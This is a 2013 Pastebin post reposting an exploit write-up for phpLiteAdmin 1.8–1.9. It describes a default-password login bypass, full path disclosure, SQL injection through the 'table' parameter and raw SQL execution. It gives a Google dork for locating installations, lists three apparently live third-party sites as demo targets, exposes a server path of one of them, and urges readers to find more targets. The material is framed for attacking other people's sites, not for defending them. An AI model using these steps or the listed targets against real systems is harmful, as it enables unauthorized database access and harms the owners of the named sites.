devil4u4ever

phpLiteAdmin vulrenablity

Mar 8th, 2013
520
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.72 KB | None | 0 0
  1. # Title : phpLiteAdmin v1.8.x->1.9.x (SQLi/FD) <= Multiple Vulnerabilities
  2. # Author : KedAns-Dz
  3. # Type : proof of concept - webapp 0day - remote - php
  4. # Tested on : Windows7
  5. # Download : [http://phpliteadmin.googlecode.com/]
  6. ###
  7.  
  8.  
  9.  
  10. ######## [ Proof / Exploit ] ################|=>
  11.  
  12. # Google Dork :
  13. # allintext:"Powered by phpLiteAdmin | "
  14.  
  15. ##################
  16. # [!] Description:
  17. ------------------
  18. phpLiteAdmin is suffer from multiple vulnerabilities / bugs in
  19. v1.8.x to-> 1.9.x , the attacker can use some bug in the Script
  20. to inject some remote SQL command/code , and Disclosure the Full Path.
  21. # Bugs :
  22. #-------
  23. # Authentication Bypass
  24. # SQL Injection/Exec
  25. # Full Path Disclosure
  26. #######################
  27.  
  28. #### (1) Authentication Bypass :
  29. --------------------------------
  30.  
  31. [!] php-code :
  32. line 38->39 :::::::::::::::::
  33. //password to gain access
  34. $password = "admin";
  35. :::::::::::::::::::::::::::::
  36.  
  37. - not affected on all targets, just change the password to fix it
  38.  
  39. [+] http://[target]/[path]/phpliteadmin.php
  40. [*] password : admin
  41.  
  42. #### (2) Full Path Disclosure :
  43. -------------------------------
  44.  
  45. [+] http://[target]/[path]/phpliteadmin.php?view=import
  46. [!] & Import File with (NULL/Bad) Content =>
  47. - you get some sql error msg with the full path of phpliteadmin.php
  48.  
  49. ex: '-------------
  50. Warning: PDO::exec(): SQLSTATE[HY000]: General error:
  51. trying to execute an empty query in C:\Program Files\EasyPHP-12.1\www\phpliteadmin.php on line 987
  52. ____________________________________
  53.  
  54. Warning: SQLiteDatabase::queryExec() [sqlitedatabase.queryexec]: Cannot execute empty query.
  55. in /homepages/20/d421371141/htdocs/pauleschoen.com/cgi-bin/phpliteadmin.php on line 646
  56. ------------------'
  57.  
  58. proof image (http://i46.tinypic.com/ddmek5.png) # in local test
  59. proof image (http://i49.tinypic.com/juepet.png) # in remote test
  60.  
  61. #### (3) SQL Injection :
  62. ------------------------
  63.  
  64. php-code ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  65. $query = "SELECT * FROM ".$db->quote_id($_GET['table'])." WHERE ROWID = ".$pks[$j];
  66. :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  67.  
  68. [+] http://[target]/[path]/phpliteadmin.php?action=row_view&table='
  69. [&] http://[target]/[path]/phpliteadmin.php?action=row_view&table=' [ SQLi ]
  70.  
  71. proof image (http://i46.tinypic.com/102p750.png)
  72.  
  73. #### (4) Exec SQL code :
  74. ------------------------
  75.  
  76. Go to :
  77. [*] http://[target]/[path]/phpliteadmin.php?view=sql
  78.  
  79. -& put the SQL Code in the text-area (Run SQL query/queries :)
  80. and click 'GO' to exec ;) .
  81.  
  82. ## DeMo's :
  83.  
  84. http://www.pauleschoen.com/cgi-bin/phpliteadmin.php
  85. http://urp.caezar.net/php/ThemeFrame/phpliteadmin.php
  86. http://www.dbcreator.co.uk/pla3.php
  87.  
  88. !+ Find More targets in Google ^_^
Advertisement
Add Comment
Please, Sign In to add comment